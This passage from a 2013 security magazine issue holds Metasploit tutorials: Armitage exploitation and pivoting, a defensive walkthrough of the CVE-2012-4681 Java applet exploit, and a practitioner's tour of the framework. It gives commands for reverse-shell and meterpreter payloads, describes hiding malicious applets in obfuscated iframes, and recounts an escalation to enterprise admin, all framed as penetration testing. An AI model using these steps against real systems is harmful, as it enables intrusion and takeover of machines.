(Figure 7).
You can see how easy it is to exploit a target with-
out passing any commands. The GUI provides all
features that are command-driven in Metasploit.
This is the reason why Armitage adds more pow-
er to the framework. But a good knowledge of ms-
fconsole commands is essential. We cannot sole-
ly depend on GUI.
Handling multiple targets using TAB
switch
So far we have seen how Armitage GUI eases the
process of exploitation. During the course of pen-
etration testing there can be scenarios where we
have to handle multiple targets at a time. While deal-
ing with multiple targets in Metasploit, we have to
switch between sessions in order to manage them
as Metasploit creates different sessions for different
targets. Armitage further eases this process of han-
dling multiple targets at a time by introducing the con-
cept of tabs. Let us see how it is done. We still have
two more targets available to us from our nmap scan
result. We can exploit our windows 2008 server by
right clicking on it and selecting an exploit. Alterna-
tively we can also start a new console by clicking on
View > console. This will start a new console where
we can use command line to compromise the target.
Let us set up a multi handler and exploit the tar-
get using a client-side vulnerability.
msf > use expl oi t / mul t i / handl er
msf expl oi t ( handl er ) > set payl oad wi ndows/
met er pr et er / r ever se_t cp
payl oad => wi ndows/ met er pr et er /
r ever se_t cp
msf expl oi t ( handl er ) > expl oi t
[ - ] Handl er f ai l ed t o bi nd t o
192. 168. 56. 101: 15263
[ - ] Handl er f ai l ed t o bi nd t o
0. 0. 0. 0: 15263
[ - ] Expl oi t except i on: The
addr ess i s al r eady i n use
( 0. 0. 0. 0: 15263) .
[ *] Expl oi t compl et ed, but no
sessi on was cr eat ed.
The point to note here is that we
are now working on a command
line console. This means that
Armitage also gives us the fex-
ibility to use both the command
line as well as the graphical in-
terface. You can see that the ex- Figure 7. Armitage compromised target window
Figure 6. Armitage Attack window
32
A GUIDE TO METASPLOIT
TBO 01/2013
ploit command threw an error that it cant bind a
reverse handler on 192.168.56.101:15263. This is
because we have already set a reverse connec-
tion on this port while exploiting the Windows XP
target. So we will have to change the port number
and attempt to use the exploit command again.
msf expl oi t ( handl er ) > set LPORT 1234
LPORT => 1234
msf expl oi t ( handl er ) > expl oi t
[ *] St ar t ed r ever se handl er on 192. 168. 56. 101: 1234
[ *] St ar t i ng t he payl oad handl er . . .
Now once the client side exploit executes suc-
cessfully, we will have a reverse connection and
we will have lightning bolts against our 2008 serv-
er target indicating that we can now have control
over it.
Again, here we have different tabs for different
targets. We can easily interact with any compro-
mised target by switching between tabs (Figure 8).
This is yet another important feature of Armitage
that eases the process of penetration testing. This
can be very beneficial when we are dealing with
multiple targets in a network, which is generally the
typical scenario for a penetration test.
Post Exploitation with
Armitage
So far we have seen how Ar-
mitage can be handy in han-
dling multiple targets. Once the
targets are exploited, our next
step will be to perform various
post exploitation activities. Ar-
mitage leverages all the power-
ful post-exploitation function of
Metasploit, most primarily, me-
terpreter. Let us see how Armit-
age can be handy in the post-ex-
ploitation phase as well.
We will analyse our exploited
Windows XP target and see how
we can perform several post-ex-
ploitation activities on it.
Once a target has been exploit-
ed, we can follow several meter-
preter options by right clicking on
its image. There are some com-
monly used post exploitation ac-
tions available to us like access,
interact, pivot, keystrokes cap-
ture, screenshots, etc. We can
perform several actions by mak-
ing just a few clicks. Let us per-
form the first and most essential
phase of post exploitation i.e.,
privilege escalation. We can find
the option by right clicking on
the target image, then brows-
ing to meterpreter > Access >
Escalate privileges. Another in-
teresting post-exploitation ac-
tivity is screenshot which can
be browsed through meterpret-
er > Explore > Screenshot. The
screenshot of target desktop will
be displayed in a new tab which Figure 9. Armitage window displaying live screenshot of compromised target
Figure 8. Diferent tabs for targets
www.hakin9.org/en 33
can be refreshed whenever you wish. The follow-
ing figure demonstrates it (Figure 9).
You can see that the screenshot has been dis-
played in a new tab which has two buttons at the
bottom. The Refresh button will display a fresh
screenshot whereas Watch button will refresh the
screenshot after every 10 seconds.
Similarly you can try out lots of click-to-server
post-exploitation options available in Armitage to
speed up the process of penetration testing.
This was a small demonstration of using Armit-
age as a potential extension for Metasploit in order
to speed up the process of exploitation. The real
power of Armitage can be understood only when
we have full command over Metasploit. The com-
bination of a powerful command line with a GUI
makes Armitage a perfect tool for penetration test-
ing.
Pivoting with Armitage
Pivoting is the process of port forwarding the con-
nection from a compromised machine to other ma-
chines in the same network. Consider a scenario
where you want to penetrate a web server which
has high security measures. The other nodes con-
nected to that web server may have less security
measures and hence can be attacked successful-
ly. Once the node has been compromised, you can
pivot the network to communicate with the web
server through the compromised node. Thus an in-
direct access to the web server is possible.
Armitage allows quick pivoting option where it
automatically locates different machines available
on same network. Once a machine has meterpret-
er option available after successful exploitation,
pivoting can be launched by navigating to
Met er pr et er > Pi vot i ng > set up
Once the process of pivoting is complete, Armit-
age will draw a green line from the pivot host to all
the other reachable targets on the network. The
other machines can be accessed by setting up re-
verse handlers to listen for connections across
the network.
Conclusion
This was a small yet comprehensive discussion
about Armitage and its features. The point to note
here is that the real power of Armitage can be un-
derstood only when we make full use of both its
GUI as well as the console. Hence in order to get
the best pen-testing results, a combination of both
GUI and command line is required. It is a powerful
tool and fairly easy to use. The user friendliness of
Armitage makes it a must have tool for all pen-
etration testers and security professionals.
Figure 10. Pivoting in Armitage
ABHINAV SINGH
Abhinav Singh is a young information se-
curity specialist from India. He has a keen
interest in the feld of Hacking and Net-
work security and has adopted this feld
as his full time employment. He is also the
author of Metasploit penetration testing cookbook, a
book dealing with Metasploit and penetration testing.
He is also a contributor of SecurityXploded community.
Abhinavs work has been quoted in several portals and
technology magazines.
34
A GUIDE TO METASPLOIT
TBO 01/2013
How to Use Metasploit
for Security Defense
If youve ever taken any training about penetration testing, or read
almost any book or online article about the trade, youve heard of
Metasploit. Years ago, before penetration testing was a recognized
professional field, exploiting a vulnerability was often an extremely
onerous task.
I
dentifying a vulnerability might be as easy as
fingerprinting a system then searching public
mailing lists, but finding exploit code was often
difficult. In many cases, researchers would release
proof of concept exploit code that demonstrated
a vulnerability, but did little more than launch the
calc.exe program or other harmless activity. Fur-
thermore, exploit code was often unreliable and
required specific environments to build and com-
pile. Thus, a vulnerability tester had to fingerprint
systems, hunt across the internet and mailing lists
for exploit code, create systems upon which to
build and compile the code, then execute the code
against target systems, and, with fingers crossed
and baited breath, hope that the exploit worked.
The situation was frustrating, and untenable for a
professional class of penetration testers who want-
ed reliable, easy to access, exploit code to use pro-
fessionally. Thus, Metasploit was born, as a frame-
work to support standardized, tested exploit code.
With Metasploit, exploit code could be packaged in-
to modules in order to ensure they would work with
the framework. Users of Metasploit only needed to
ensure that Metasploit itself would run on a system,
and exploits could be crafted for Metasploit, rather
than having to rely on a testing lab full of machines
of various architectures running several different
operating systems in order to compile exploit code
successfully. With Metasploit, testers could turn to
a trusted tool and have confidence that modules in-
cluded in the framework would work as advertised.
Metasploit for Defense
Metasploit has long since become the indus-
try standard for offensive security and penetra-
tion testing. It is robust, flexible, and reliable, all of
which make it a favorite among practitioners. Us-
ing Metasploit for defensive tasks may seem a little
counter intuitive. Why would a network security en-
gineer, say, be interested in an attack tool? There
are many good answers to these queries. In this
article Ill propose rather timely example. Recently,
Oracles J ava implementation was demonstrated
to have a vulnerability that allowed anyone using
a web browser to be compromised, remotely, sim-
ply by viewing a web page (CVE-2012-4681). This
vulnerability allowed a maliciously crafted J ava ap-
plet to compromise the J ava Virtual Machine (J VM)
on client machines, and execute arbitrary code as
the currently logged on user. This was extreme-
ly damaging, because at the time the vulnerability
became public, there was no supported fix from
Oracle (the flaw was a 0-day, that is a vulnerability
for which no fix exists). This meant that any attack-
er leveraging the exploit could take over a victim
machine and there was little defenders could do.
In short order a Metasploit module was released.
As expected, there was much wailing and gnash-
ing of teeth amongst network security defense
professionals. When new vulnerabilities become
public the first thing organizations usually want
to measure is their own level of exposure. With-
out specific detail it is difficult to justify expense to
www.hakin9.org/en 35
remediate a problem. For instance, with the J ava
vulnerability, would it be worth the effort to craft in-
trusion detection alerts so that security staff were
notified whenever a J ava malicious applet was ac-
cessed, and if so how would one determine how to
write such a rule. Similarly an organization might
want to decide if they needed to turn off J ava in all
web browsers, and how that effort would measure
against the potential risk.
Knowing the level of exposure and being able to
concretely address concerns from management
about a particular risk is an extremely difficult task
for most defenders. Tools like Metasploit allow de-
fenders to test exploits against their current sys-
tem builds and answer these questions. By using
a tool that allows defenders to actively gauge the
effectiveness of countermeasures, the likelihood
of exploit success, and the impact of such an ex-
ploit can help organizations craft measured, effec-
tive responses to vulnerability announcements like
CVE-2012-4681.
Getting Started with Metasploit
Metasploit is a rather large and complex software
program. It contains a number of tools and can
be extremely intimidating for a beginner. It is not
a tool that is inviting to the casual user in order to
develop familiarity. Rather, operators must under-
stand Metasploit, its proper use, capabilities, and
limitations, in order to get maximum value from the
framework.
Getting started with Metasploit begins with
downloading the latest version of the framework
from Metasploit.com. There are two versions avail-
able, a free and a commercial version. Metasploit
was completely free and open source until it was
acquired by Rapid7, which then began offering a
commercial version of the tool with extended capa-
bilities and support. The free version remains the
flagship, however, so there is no need to fear that
using the free version will somehow hamper test-
ing capabilities. The commercial version includes
extra features for enterprises, so if you plan to use
Metasploit on any sort of regular basis it is worth
investigating.
Architecture
Metasploit is a complete framework, programmed
in Ruby. Dont worry if you dont know how to pro-
gram, or how to code in Ruby, the framework takes
care of most of the common tasks most testers
would be interested in.
Metasploit includes a number of additional tools
in addition to the framework itself. Youll notice if
you look in the install directory that there are com-
plete versions of J ava, Ruby, and PostgreSQL as
well as Metasploit. These technologies support the
framework and the various tools that come with
Metasploit. Most of this should occur behind the
scenes.
Installation
The Metasploit download is fairly straightforward.
You can install Metasploit on Windows or Linux, or
even use it in a pre-configured environment such
as on the BackTrack Linux distribution. For the
purposes of this article well explore installation of
Metasploit on a Windows XP system as a sort of
lowest common denominator. However, using the
tools in Metasploit that require integration with sep-
arate technologies (such as J ava or PostgreSQL)
may be easier with a preconfigured distribution.
To get started point a browser at the Metasploit
website (http://www.metasploit.com), navigate to
the download section, and choose the version of
Metasploit that fits your operating system (Figure 1).
Once the download is complete be aware that you
may get a number of warnings about Metasploit from
your browser, operating system, and/or anti-virus
software. Metasploit contains exploit code, by defi-
nition it is hostile, so your machine is right to identify
this code as malicious. If you dont get any warnings
that is likely an indication that your computers de-
fenses may need a little attention (Figure 2).
Open the downloaded installer and run it on your
machine. You may need to add an exception to your
Figure 1. The Metasploit download site
Figure 2. Installation warning of exploits
36
A GUIDE TO METASPLOIT
TBO 01/2013
anti-virus software to exclude the Metasploit installa-
tion directory (C:\metasploit) in order for the install to
complete. Similarly, you may get warnings that your
machines firewall could interfere with the operation
of Metasploit. This is mainly due to the fact that ma-
ny Metasploit payloads require that targets be able
to connect back to your machine. Careful manipu-
lation of your firewall to allow these ports is a wiser
approach than disabling the firewall entirely, but be
aware that this could cause issues. Once you have
stepped through any warnings begin the installer. In-
stallation will require you to accept the license agree-
ment, decide on an installation directory, choose an
SSL port on which to serve Metasploit, decide on a
name for the server and the servers certificate vali-
dation timespan. In most cases the default options
for the installation are sufficient (Figure 3).
Up and Running
There are several common ways to interact with
the framework, all included in the install. The first
is the console, which you can find under Start ->
Metasploit -> Metasploit Console. This is the com-
mand line tool that you use to interact with the
framework. The other two common ways to con-
nect are Armitage, which is a J ava based GUI tool
for using Metasploit, MSFGUI, and the Web UI.
I have found that the console is by far the most
direct, efficient, and reliable way to interact with
Metasploit. In fact, some exploits that seem to
work perfectly in the console have not functioned
properly when started from the Web UI (such as
the J ava CVE-2012-4681 exploit) (Figure 4).
Once installed, Metasploit can be utilized in a
number of ways. The most direct way to interact
with Metasploit is via the command line, using the
msfconsole. The console can be intimidating for
novice users, but it exposes all of the power and
capabilities of the Metasploit framework, so it is
worth exploring in order to develop proficiency.
Getting Started
Getting started with the Metasploit Console can
be somewhat perplexing. There is no easy way
to navigate other than by using text based com-
mands and some commands are extremely clunky
(for instance, some commands might produce a
large volume of output that will flash by the screen,
but the scroll history of the Console wont let you
scroll up and actually see all the output). Despite
these shortcomings, the full power and flexibility
of Metsaploit is available from the Console, so de-
veloping proficiency is time well spent. It is worth
being aware that this may take some investment,
however, to avoid initial frustration and fatigue with
the tool.
Before you get started with the Console it is im-
portant to make sure that you update Metasploit so
that youre using the latest version of the framework
Figure 3. Metasploit installing
Figure 4. The Metasploit console Figure 5. Metasploit update downloads new modules
www.hakin9.org/en 37
with the newest exploits. The installer download-
ed from the website may not include recently re-
leased exploit modules. The update program can
be found under Start -> Metasploit -> Framework
-> Framework Update. This will open a console
window and check for the newest version of the
software (Figure 5).
Once youre sure your version of the framework
is up to date you can get started with the Console.
The first command that you should learn in the
Console is the help command. This will list out all
of the commands that you can use in the console.
There are quite a number of commands. To get
more information about a command you can type
help followed by the command youre interested
in (such as help banner) (Figure 6).
To find exploits youll need to utilize the search
command. To list all the exploit modules in Metasploit
you can simply type show, but as mentioned be-
fore, this is of little use since the Console will dis-
play far too many modules for the interface to actu-
ally display. Instead, try using the search command
and searching for J ava vulnerabilities by typing
search java. Youll notice that even just searching
for this one phrase lists quite a number of results.
When searching for J ava modules one also quick-
ly notices that there are different types of modules
listed auxiliary, exploit, and payload. Well be in-
terested in the exploit modules in order to craft a
malicious J ava applet, and the payload modules to
craft our malware payload that will execute when-
ever a vulnerable machine accesses the applet. To
search for exploits specific to the vulnerability we
want to test type search cve:2012-4681. Alterna-
tively you can use the Metasploit website to search
for exploits and find useful descriptions, including
usage documentation at http://www.metasploit.
com/modules (Figure 7).
Crafting the Exploit
To begin building our exploit well have to tell
Metasploit which module to use. To do this simply
type use followed by the name of the exploit (re-
member, you can type help use to get an example
of how to execute the use command). In this case
well type in use exploit/multi/browser/java_jre17_
exec in order to start using the exploit. Youll notice
that the Console prompt changes so that you know
which exploit youre using (Figure 8).
Now that were using the desired exploit we have
to provide instructions for Metasploit to craft our
malicious payload. So far Metasploit knows we
want to use the J ava 1.7 vulnerability to craft an
exploit, but once Metasploit takes advantage of the
vulnerability it needs to understand what instruc-
tions we want to execute on the victim computer.
For this example, we will create a payload that
spawns a reverse shell. A reverse shell is a com-
mand prompt that we can access locally, but which
actually executes commands on the target system.
We can choose a number of payloads that we can
explore using the show payloads command.
To select the payload type in set PAYLOAD java/
shell/reverse_tcp and hit enter. This will set up a
payload in the applet that will execute and shov-
el a shell over TCP back to our machine. In order
for the payload to work we need to tell Metasploit
the IP address of the machine to connect back to.
To do this type in set LHOST [ip_address] where
[ip_address] is the IP of your machine. Once this
information is entered were ready to begin. Simply
type in exploit to start the exploit (which spawns
a web server listening at a specific URL detailed
Figure 6. Metasploit Console help command
Figure 7. Using the Metasploit Console search command
Figure 8. Metasploit Console prompt changes to show the
exploit
38
A GUIDE TO METASPLOIT
TBO 01/2013
in the Console output that will deliver our payload
when accessed) (Figure 9).
Testing the Exploit
Setting up a test machine may be a little tricky.
Youll have to ensure that J ava is installed on the
machine, but you need an older, vulnerable ver-
sion. Older versions of J ava are available from Or-
acle, for testing purposes. You can find older ver-
sions at http://www.oracle.com/technetwork/java/
archive-139210.html or generally looking for J ava
Downloads and then following the link to Previ-
ous Releases. Using J ava 1.7.0_6 should be suf-
ficient. To determine the version of J ava you have
installed type java -version at the command line.
In your test machine, pull up a web browser and
type in the address of the Metasploit server. This is
a somewhat contrived way to access the malicious
applet. In the wild, applets such as this are gener-
ally included in hidden iframe tags that are inserted
into otherwise innocuous web pages. The exploit
can be further hidden by obfuscating the reference
using J avaScript and functions that encode and
decode data so that anyone observing the HTML
source code of an infected web page would see
nothing but gibberish code that web browsers can
easily decode and execute but which is more diffi-
cult for human eyes to parse (Figure 10).
Calling the URL from your test machine should
only result in a blank screen (or in this case a warn-
ing that the J ava plugin is out of date, which, kudos
to Oracle, should nag most users into updating).
The only indication that the exploit has been suc-
cessful will appear in the Metasploit Console (Fig-
ure 11).
Once you see the indication that the stage has
been sent you can check to see if a session is avail-
able. To do this, in the Console, hit enter to get back
to a prompt. Next, type in sessions to see the ac-
tive sessions that are available. You should see an
indication that the reverse shell is up and listening.
Figure 9. Metasploit exploit started
Figure 10. Vulnerable machine being exploited via malicious
Java applet
Figure 11. Metasploit console shows the target has been
exploited
Figure 12. Metasploit shows the actively exploited machines
as sessions
www.hakin9.org/en 39
Note the Id of the session, as you need this infor-
mation to connect to the session (Figure 12).
Once a session is established we can interact
with the session by typing in sessions -i [id] where
[id] is the id number noted previously. There are a
number of session commands that you can explore
using the help sessions command. As soon as you
enter interactive mode youll notice the command
prompt will change to the familiar MS-DOS prompt
and you can type commands as though you were
logged into the target computer (Figure 13).
Production Use
Establishing a proof of concept is useful in confirm-
ing that your Metasploit exploit will actually work.
Putting it into practice in the wild is the next step.
Youll want to have Metasploit installed on a ma-
chine that is accessible in your environment, and
then start up the exploit so it is serving from the
server. Next, placing a reference to the Metasploit
applet in an iFrame on an intranet site or other
page that you know users in your environment will
access will allow you to test infection rates. Check-
ing the console periodically will allow you to see
IP addresses of users who are vulnerable to the
exploit.
A better plan is to simply observe what configura-
tions fall victim to the Metasploit exploit and what
configurations do not, then adjust your produc-
tion systems to protect them. Many antivirus prod-
ucts will detect the Metasploit payload and stop it,
which is reassuring in that you can be confident
that your AV solution will detect Metasploit attacks.
A better solution is a configuration that denies J ava
from actually attempting to execute the malicious
applet. For instance, white listing sites upon which
J ava can execute can greatly limit scope.
Conclusions
The ability to test exploits against systems in your
environment is a tremendous advantage. Using
Metasploit you can easily, and extremely accurate-
ly gauge your exposure to compromise. The J ava
1.7 vulnerability (CVE-2012-4681) is just one ex-
ample. Metasploit includes hundreds of modules,
including some that will test misconfiguration in ad-
dition to vulnerabilities. There are modules that will
perform brute force attacks to do things like test
the strength of passwords on your SQL servers in
addition to target enumeration modules that will
perform ping sweeps, find hosts on your network
vulnerable to idle scanning, and more.
Hopefully this brief tutorial has convinced you
that Metasploit has value to system defenders as
well as penetration testers. Simulating an attack is
a great way to expose vulnerabilities in your net-
works, but its also a good way to test defensive
countermeasures. Using a tool like Metasploit, de-
fenders can test the value of defenses and deploy
them with confidence. It will also allow defenders
to speak about the likelihood of specific types of
attacks penetrating defenses and compromising
systems. Additionally, using Metasploit, defenders
can footprint attacks and identify patterns that re-
sult from various classes of attacks, and tune not
only their prevention countermeasures, but also
their detection measures (could your network spot
a reverse shell spawning from one of the internal
workstations?). For all of these reasons Metasploit
should definitely be a part of any internal security
teams toolkit.
Figure 13. Using Metasploit to type commands on the
exploited target
JUSTIN C. KLEIN KEANE
Justin C. Klein Keane is an information
security specialist working at the Uni-
versity of Pennsylvania. Mr. Klein Ke-
ane holds a Masters degree in Comput-
ers and Information Technology and
is an accomplished security research-
er. Mr. Klein Keane prefers to work with
open source technologies and has made numerous con-
tributions to the open source community in the form of
vulnerability reports, most notably for the open source
content management system Drupal. Mr. Klein Keanes
performs penetration testing and proof of concept ex-
ploitation frequently and regularly uses Metasploit
to accurately model organizational risk in the face of
emerging threats. Mr. Klein Keane writes irregularly for
his website www.MadIrish.net.
40
A GUIDE TO METASPLOIT
TBO 01/2013
My Experiences
with the Metasploit Framework
From N00b to Contributor
Ever wanted a tour of the Metasploit Framework (MSF)? If you have
basic command line skills, and a working knowledge of networking
and how hosts are compromised, you can take a guided tour from
someone who started as a tourist and ended up as a tour guide.
Youll see how you can use MSF for all sorts of tasks and learn to
write your own magic for yourself or to share. The tour doesnt make
every possible stop, but youll be informed, entertained, and well on
your way to mastering Metasploit.
T
his article is a tour. A tour of the Metasploit
Framework (MSF) and my experiences
with it. Youll see how I went from being
a newbie (to both MSF and infosec), to a com-
petent user, to a reasonably competent (At least
thats the way I fancy myself) MSF contributor. This
article is not meant to be an exhaustive guide.
When youre done reading this article, I hope you
are, at a minimum, convinced that you can easily
use MSF to solve a wide variety of problems from
any information security domain (with or with-
out writing any real code). Ideally youll feel in-
formed, entertained, and convinced that you can
become a Metasploit master, as well as contrib-
ute to MSF and its active community. As with any
tour, we cannot stop at every possible point of in-
terest, and you are at the mercy of the tour guide
for funny anecdotes and the exact path from stop
to stop.
Self.about # about the tour guide
First, lets talk about me. Me, me, me, me (My
last name is Smith after all. Plus, I went as Agent
Smith for Halloween once. If you still dont under-
stand this footnote, I hereby revoke your hack-
er credentials or hacker application). I introduce
myself, in some length, not because I think you
need to know me, but rather so you understand
where Im coming from, how my past experiences
have colored my view of the problem and solution
spaces, and to demonstrate that your background
and age do not really matter if you have passion.
I studied Aeronautical Engineering. I took one C
class and an embedded control class where we
used C++. Other than that, and one brutal nu-
merical computing class, I didnt study the sci-
ence of computers. I did have two older brothers
who studied computer science, which led me to
avoid the field for fear of following too closely in
my siblings footsteps. I also had a computer sci-
ence roommate in college. I learned not to ask
Comp Sci majors for help (My theory: <general-
ization> there are two types of computer scien-
tists: those that like computers and those that
dont. More specifically, there are those that enjoy
knowing how computers and software work and
those that do not. </generalization> For the re-
cord, I dont want to help you fix your computer ei-
ther) with my computer (Especially your blazingly
fast Pentium II 250 MHz laptop running Windows
95 (my first computer)). Bottom line, I couldnt
find much help, so I decided to help myself, but it
would be years before I became terribly capable.
Scrubbing through the subsequent decade: be-
ing in command of 50 nuclear ICBMs on 11 Sep
2001, multiple knee surgeries, reading (most of)
Upgrading and Repairing PCs, 11th Ed., and
completely lucking into a job pentesting military
networks and systems. Its here that I realized
how little I actually knew. Its here that I got some
of those certifications that our industry loves to
hate. I will only say that I was very excited to get
www.hakin9.org/en 41
the certs at that time, but I have since come to
only truly respect those certifications which have
a hands-on certification exam. I like to know that
someone can DO something, not just know some-
thing. However, I enjoy learning, so Ill usually at-
tend any class to which someone is willing to send
me. So, with this backdrop, our tour arrives at its
first stop, my first pentest (They were really vul-
nerability assessments with some pentesting as-
pects. Lets not argue over vocabulary, especial-
ly since many terms are overloaded & overused,
plus the military has even more (blue team, red
team etc.). Lets call them pentests and discuss
more important things like Vi[m] vs. Emacs) and
my first exposure to the Metasploit Framework.
SA, no password anyone? (http://support.mi-
crosoft.com/kb/313418 allows vulnerability to
a worm. Wat? Who writes like this? Sidestepping
the suspect grammar, how about allows utter pwn-
age?) As the rest of the assessment team was fu-
riously mashing the keyboards, I was afraid to at-
tempt much without specific direction for fear of
doing catastrophically bad things to the network.
Well, there was another new guy on the team.
He was new to our unit, but, as it turns out, he was
not remotely new to the game. He is known most
commonly, I would find out later, as MC, but Ma-
rio was hacking the Gibson (If you didnt get that
joke, go watch Hackers again) years before he
helped me. Mario noticed I was a bit idle, and said
try this... Ill paraphrase the whole conversation
with some code:
f or I P i n `cat i ps. t xt `; do . / msf cl i mc_magi cal _
scr i pt RHOST=$I P C; done
Im pretty sure Mario thought I was mental-
ly challenged as I asked, Meta-what? Whats
that? Why do I need the ./ part again? Whats
the looping syntax? How do I get this script in-
to my Metasploit installation? Now, in my de-
fense, no one on the team, that I know of, had
heard of Metasploit, or at least no one was us-
ing it. This is Metasploit 2, the one written in Perl
(http://www.metasploit.com/about/history/ ). Ma-
rio had written this module which checked for
SA and a null password for Microsoft SQL serv-
ers, which at the time were installed that way
by default by various things, most notorious-
ly MS-SQL itself, and quietly by Visio. Summa-
rizing, we found a handful of SQL servers with
this vulnerability (in a ~20k-node network), con-
nected to one of the servers, ran xp_cmdshell,
added ourselves as an admin user, pushed ad-
min tools, queried the domain controller for do-
main admins, and low and behold, each SQL
server had an SQL account which was a mem-
ber of the Enterprise Admins group. We imper-
sonated that access token and boom, enterprise
admin.. We went from an unprivileged physical
presence on the network to enterprise admin (so
we had keys to all the kingdoms) in 30 minutes.
We later showed them our 5-min movie version.
I learned many lessons that week (Some others:
MC =smart, I like scripting, I like BASH, soft-
ware vendors sometimes do stupid things), but
chiefy that Metasploit was cool (Yes, there were
many ways this task could have been done with-
out Metasploit).
I looked into this Metasploit thing and I decided
I liked the power, flexibility, and scriptability. I was
not really fluent in any particular language, but I
knew I loved to automate tasks, and I hated com-
piling, so I started to learn Perl. Shortly thereafter,
Metasploit converted to Ruby and I was put into a
management role and my learning time became
very limited. When I inquired about (stack-based)
buffer overflows, Mario said (paraphrased): Try
this, 192.168.100.17, port 6666. Go. I made some
progress, after some help, but soon I was too busy
for additional learning, and not long after, I was out
of the military and looking for a job.
I knew one thing: I wanted to do technical work
and I was fortunate to get a job (At the J ohns Hop-
kins University Applied Physics Laboratory (J HUA-
PL) in Laurel, MD. J HUAPL does some amazing
research in and outside information security (www.
jhuapl.edu)) where my duties varied from admin-
istering test labs, performing pentesting and vul-
nerability assessments, and writing many scripts
(Over 100 for one particular year-long project).
Most importantly, I was free to solve problems in
my own way and I was learning MSF in my free
time. I started to use MSF to solve problems...un-
conventionally. In order to describe what I did, you
need to understand Metasploit, what it is, what it
isnt, and most importantly, what it can be for you if
you apply some effort and creativity.
What is Metasploit? Metasploit is first and fore-
most, an exploit development framework. Howev-
er, its utility as a pentesting framework is undeni-
able, massive, and growing everyday; and is by
far the easiest area for contributors to begin mak-
ing an impact. In my observations, the majority of
contributions to MSF are to what I would call the
pentesting side vs the exploit side (which I gener-
ally consider to be exploit modules and supporting
code such as encoders etc.). Metasploit is NOT a
vulnerability scanner, there are other tools for that,
many of which Metasploit integrates with nicely. A
42
A GUIDE TO METASPLOIT
TBO 01/2013
pentesting and exploit development framework
is the most common description of MSF, but you
can do all sorts of tasks including defensive ones.
You can use it as a remote administration tool, or
for host forensics, network auditing, etc., etc. Be-
fore we can discuss some of these uses however,
we need to discuss the underlying architecture and
usage of MSF.
pretty_print(framework.new) #
The Metasploit Framework Architecture
The Metasploit Frameworks overall architecture
consists mainly of modules, libraries, and inter-
faces. There are also tools and plugins which le-
verage or extend the framework in some way. For
example, the pattern_create tool creates a non-
repeating string pattern which is most frequently
used during exploit development. pattern_create
leverages text libraries contained in the Rex (or
Ruby EXploitation) family of libraries (see Fig-
ure 1). Whereas, the sounds plugin extends the
framework and adds sounds for various frame-
work events such as session creation (success-
ful exploitation). The majority of included plugins
extend a specific interface, usually the msfcon-
sole interface, which is the most popular inter-
active interface and therefore has proportionally
more plugins written for it. Later, we will discuss
msfconsole in depth. The other interfaces (CLI or
command-line, GUI or graphical, and RPC or re-
mote procedure call) get less usage and attention
these days, therefore we wont discuss them in
depth, however RPC is an excellent way to es-
sentially run a headless Metasploit instance and
control it locally or remotely with an entirely sepa-
rate application or service.
The MSF libraries provide the majority of the
heavy-lifting. You do not have to concern yourself
with most of the libraries until you are ready to con-
tribute beyond the module level.
The base of the framework is a number of mod-
ules which are thematically grouped as follows.
modules.each {|module| puts module.
info} # Module Descriptions
There are 6 types of modules, exploit, payload, en-
coder, NOP, aux, and post, which we will discuss
in a moment. Its easiest to understand the mod-
ules based on their role in the workflow. A common
workflow will often include the following pattern, or
a subset of it: reconnaissance, exploitation, post ex-
ploitation, and further reconnaissance based on the
new data and host access. Metasploit modules play
mostly obvious roles in your workflows (Figure 2).
However, some modules are most often used in
the background. Most likely, you will interact with
the 6 modules directly, or indirectly, in the following
manner. You will probably first use an exploit mod-
ule (assuming you already have a target in mind),
wherein you will set a payload module and some-
times an encoder module. An encoder is used to
rid a payload of any characters which may cause
issues with successful payload execution, such as
null (/ x00). Encoders also assist in IDS/IPS avoid-
Figure 1. The canonical depiction of the Metasploit Framework architecture
44
A GUIDE TO METASPLOIT
TBO 01/2013
ance, but they are NOT meant for anti-virus avoid-
ance when writing a payload to disc in executable
format (Payload !=exectable. For an excellent de-
scription of how Metasploit generates executables
see: http://www.scriptjunkie.us/2011/04/why-en-
coding-does-not-matter-and-how-metasploit-gen-
erates-exes/). Normally there is no need to write
the payload to disc and AV avoidance is outside
the scope of this article. The encoder module
may or may not call on a NOP module to assist
in adding entropy to no-op assembly instructions.
When an exploit is successfully executed, the pay-
load creates a session (there are some excep-
tions). The details of that session are payload-de-
pendent. A session is not a module, but rather an
MSF object, linking your Metasploit instance to the
target, with which you or the framework can inter-
act. Again, in most common workflows, the next
event is running a post module on the session. Its
important to understand that exploit modules ex-
ecute payloads which create sessions, and post
modules run on those sessions. You cant run a
post module without at least one established ses-
sion. Lastly auxiliary (aux) modules are run without
a session (They can, however, be run through an
existing session. This is known as pivoting and is
essential for communicating with hosts which are
not reachable directly from the Metasploit instance
(i.e. the attacker). (continued) See the meterpret-
er route command and the autoroute post mod-
ule for more information), they are generally used
for discovery, port scanning, and brute forcing etc.
The case of brute forcing is one of the few times a
session can result from a non-exploit module (that
feature can be disabled, Figure 3).
Writing your own module is the easiest place to
start adding functionality to the framework. Most
people start by writing their own post modules be-
cause they often want to take some specific action
on a host which is not already supported. By writing
a module, the task becomes repeatable and eas-
ily automated. Additionally, there are so many ex-
isting post modules you can usually leverage one
of them as a starting point. While writing a module
is a great place to start adding functionality to the
framework, its not nearly as easy as a resource
file. Creating or writing a resource script (or file) is
the simplest place you can start to automate the
framework (The day I learned to use resource files is
the day I switched full time from msfcli to msfconsole).
Resource scripts are most commonly used to au-
tomate msfconsole in some way, and they are ex-
tremely easy to make and modify, once you under-
stand basic msfconsole usage so...
msfconsole.usage # Using the Metasploit
Console
Like any tool, the Metasploit Framework has a
learning curve, but for most tasks, it is not steep,
assuming the user is a pentester or has a basic ex-
ploitation and networking background. Im assum-
ing anyone reading this article is capable of navi-
gating to www.metasploit.com, downloading the
latest installer, and running it; therefore we will not
Figure 2. Common user workfow
www.hakin9.org/en 45
discuss installation except to say that the installer
is highly recommended as it carries all the depen-
dencies and is the quickest way to get Metasploit
up and running, especially if you want to use the
builtin database.
Most users will interact with the framework via
msfconsole, or simply the console. The console is
invoked by running msfconsole at the command
line. Like most command-line applications and
MSF commands, you can add -h to see possible
options. In most situations, the msfconsole options
arent necessary, but they become very useful as a
user progresses in skill, begins developing, or runs
into problems (Figure 4).
The console is command-line driven, but theres
always help you can consult without leaving the
console itself. For help enter help or simply ?.
For help with a specific command, run help cmd-
name (usually cmdname -h will work as well, but
not always) (You can even run help help, but
youll find you wont get much sympathy...). There
are numerous commands which are grouped by
theme, but commonly used commands can be
found in the Core Commands group, and well
focus on some of those commands now (Table 1).
First, a note on tab completion...USE IT. Nearly
everything in msfconsole tab completes (You can
even tab complete with regular expressions, try
